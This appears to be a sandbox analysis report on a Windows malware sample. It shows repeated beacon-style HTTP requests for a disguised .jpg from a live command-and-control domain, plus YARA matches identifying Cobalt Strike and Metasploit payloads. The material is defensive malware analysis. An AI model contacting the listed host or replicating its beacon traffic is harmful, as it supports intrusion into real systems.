2025-01-10 14:15:04 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:04 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s8QgzYjfB9JJXUfILLJx8sPRjhqKKWG2znPJB%2B6i26gT14%2FUt8yr6TtEw79%2BBEaChwPBvVjRouuZKjBCyjByz97lf9MPO6MLsoqqfkXU9Rmaspr1CnYqNjHyX2wgMHaGtqH94UO2MJ1M%2FRBAZWuX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46e8cf4443a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1613&rtt_var=613&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1771844&cwnd=233&unsent_bytes=0&cid=c84d39b3fbfd08a5&ts=445&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50094	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:04 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:05 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:05 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WUyAtiCipWSB7JA0r56dd%2FnZhzIK0%2FUfBXfaTGw0xHnuaoAonOsTEkEB0do0DA01UWxaA6Qt1%2BwTJmJv8rqvAw%2B6ckubfRx%2B5WVp0Vkoq2uHi2tfaJvCa5xHXsAUgwpZs2njqoo5KXqAWcZk3bH7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46ef09db1885-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1687&rtt_var=641&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1696687&cwnd=193&unsent_bytes=0&cid=c9efed4121ed7f0e&ts=415&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50095	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:05 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:06 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:06 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GKfNofZMsQFQ4IINaD%2FcPmfJRveHzfHeIv61z5MILrVflqYSI6MhDnAKtSElJx1oRJwpB0Kj%2FeyUP54mpk3ckWloyhDYja7FXoI7b%2FZZiwGtoZapg%2FeYFEEo6kzuqn21ZM5xxBYXknKGg6kCrae9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46f55f7d42a3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1802&min_rtt=1745&rtt_var=770&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1323062&cwnd=160&unsent_bytes=0&cid=baeaa5e9785d5be9&ts=432&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50096	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:07 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:07 UTC	760	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:07 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JrQshti3paP3iB%2BoaAPMrlGoogC766kFpZ5fPLjCEWSbvpSM0xHAAJHwrKkeQh%2BunPqpmUMyT2SB%2BcclO97tVSv2tPRcbiojgTq%2F9LLiOt7EczbkuBZc4H%2F2sYyYhyEHy2C8BBXPTytrS%2FqlWyZD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46ff9bad4326-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1602&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1803582&cwnd=178&unsent_bytes=0&cid=efd97091eb48e080&ts=1061&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50097	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:08 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:08 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:08 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H7TTYi0ucyLock3Ymun1Gb8kyJki%2FMakMitWtHqtndNuihYD%2B0%2BTdXf9YRME2PnT5Gz6U5il17bLXQzSe8EiKphUX2nwzmhaLS04erEWNlIGaJ83ncr9JLAkGAUG7%2FixJoAASF0qvtcbhMrEGLCS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4705dce842ad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1929&min_rtt=1807&rtt_var=765&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1615938&cwnd=242&unsent_bytes=0&cid=b0abe230d5da3382&ts=413&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50098	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:09 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:09 UTC	756	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:09 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=La4%2FFMHY1i9qk2xUu5Q32u20jvw19VkAd68P4UdQHzIEivzIhKsFBvZ17MdBkhb6Yb%2B%2F8djMU491Rpmn2uS7spQ5Fh%2FMPTQlKcZtLJXpAGCGOa4TpeRLFqWa7XczGpgMzelb%2BKQ2Uzf9lYacFwPj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd470c1b0d4387-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1591&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1793611&cwnd=81&unsent_bytes=0&cid=aae1e4252c051ac0&ts=438&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	50099	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:10 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:10 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:10 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QYi15Cgh7Umi3818lTAUp2znRqBmwNOekHN60Wa0TsKoL6Xtpc0y1A3P%2BYMU17tdtTMyaupCTgtqtSF9ARRNQ0HQ5HSNwR4oHDRGEdlU3k9sD9BgyyamKmSxZrqhzygKnV5RF7fCk%2FpMRKML2yOi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd47125c570f8b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1662&rtt_var=640&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1688837&cwnd=238&unsent_bytes=0&cid=d8c3903dcb879859&ts=437&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	50100	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:11 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:11 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:11 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJWQvqdUgG7j0%2FYTJ%2Fy%2B%2BeApUvpMzzUesJbCyqJh%2FmE5vxun31Cr%2FFqB5qjhp2bNRYNhMH53vkOGbTgjoPHL6gUNzngKOJNb3iRDCa0raEHuPlOTGyIT1dD8o5YHY5hFZL6b05zy1iYJkYRGg70i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4719386e9dff-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1945&min_rtt=1940&rtt_var=738&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1471774&cwnd=244&unsent_bytes=0&cid=0a529f9912212278&ts=420&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	50101	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:12 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:12 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:12 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=etvhfu0y2s3MGTxoU7mht5EiVl0OLYoxTFXF3OkN0RmYzOPCxnIrwUU3KfMIEu8h%2FfAbacvJdGvdpoPxKrVSjtl%2BPwHl7NH0CtbuHxtOGuYWYk68%2FsDKW3mQRxCnoL4zrAB4xPkJBoRDh1MEnY8u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd471f8c97c323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1560&rtt_var=585&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1871794&cwnd=214&unsent_bytes=0&cid=6ff06155ba294533&ts=441&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	50102	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:13 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:13 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:13 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A6T05ZTlWKAEUt00bq2d0KFCAAetl5v%2BQEUNBkm9ady67yoSNia6boz4U8LhjVPEhFkUlqc0d9aEZ%2B%2Fui60fPj0x1%2FIWrGJF3Ec8KSbhy3f2gkt2v3zRk2XgNH0dQMTXg%2FHdc1KXFEeV9VU%2FOqC3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4726691d7295-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1975&rtt_var=748&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1456359&cwnd=206&unsent_bytes=0&cid=ed9d5834cd4b9721&ts=505&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	50103	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:14 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:14 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:14 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lwkaNHU%2FAgg7ApdaMeN0WEQmy4L31S14pmnVfS9cGXSAjgJXQyKjTMKWchkht9zpp5gm3TKiawUGsj2mSpWfkh%2FAv3vF05RQapBV%2B%2Bo5gPmQfv5%2B22KDBBoUTFmWGavEMQXAjsatlpc1w%2B9S2Nys"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd472c6b3ec463-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1664&min_rtt=1661&rtt_var=630&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1725768&cwnd=162&unsent_bytes=0&cid=dc3be9a0287d9d20&ts=415&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	50104	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:15:15 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:15:15 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:15:15 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lPcRNFhBUyKUTa7vuLPR1qx00PuLdL2BFpKuA6a7s94mfQYx7KlzHLoOqOxzwByHMNQHz4y0PPo8kOCgieoK5jyuj2S9lJ0hxJptIBLtYxdKjo%2B%2BgiUDDkec2cB64FyCWd5mXixcxkrnZwrmABlE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4732990b8c09-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2018&min_rtt=2014&rtt_var=764&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1425085&cwnd=241&unsent_bytes=0&cid=2f977ad6074f36d5&ts=400&x=0"

Target ID:	0
Start time:	09:13:10
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\zrNcqxZRSM.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\zrNcqxZRSM.exe"
Imagebase:	0xc30000
File size:	1'880'576 bytes
MD5 hash:	2698D20741E70DD169A307778685C083
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C0000B4000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CobaltStrike, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_CobaltStrike_ee756db7, Description: Attempts to detect Cobalt Strike based on strings found in BEACON, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_663fc95d, Description: Identifies CobaltStrike via unidentified function code, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_b54b94ac, Description: Rule for beacon sleep obfuscation routine, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_CobaltStrike_f0b627fc, Description: Rule for beacon reflective loader, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Trojan_Raw_Generic_4, Description: unknown, Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C0000A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CobaltStrike_3, Description: Yara detected CobaltStrike, Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_7bc0f998, Description: Identifies the API address lookup function leverage by metasploit shellcode, Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Metasploit_c9773203, Description: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families., Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	09:13:10
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

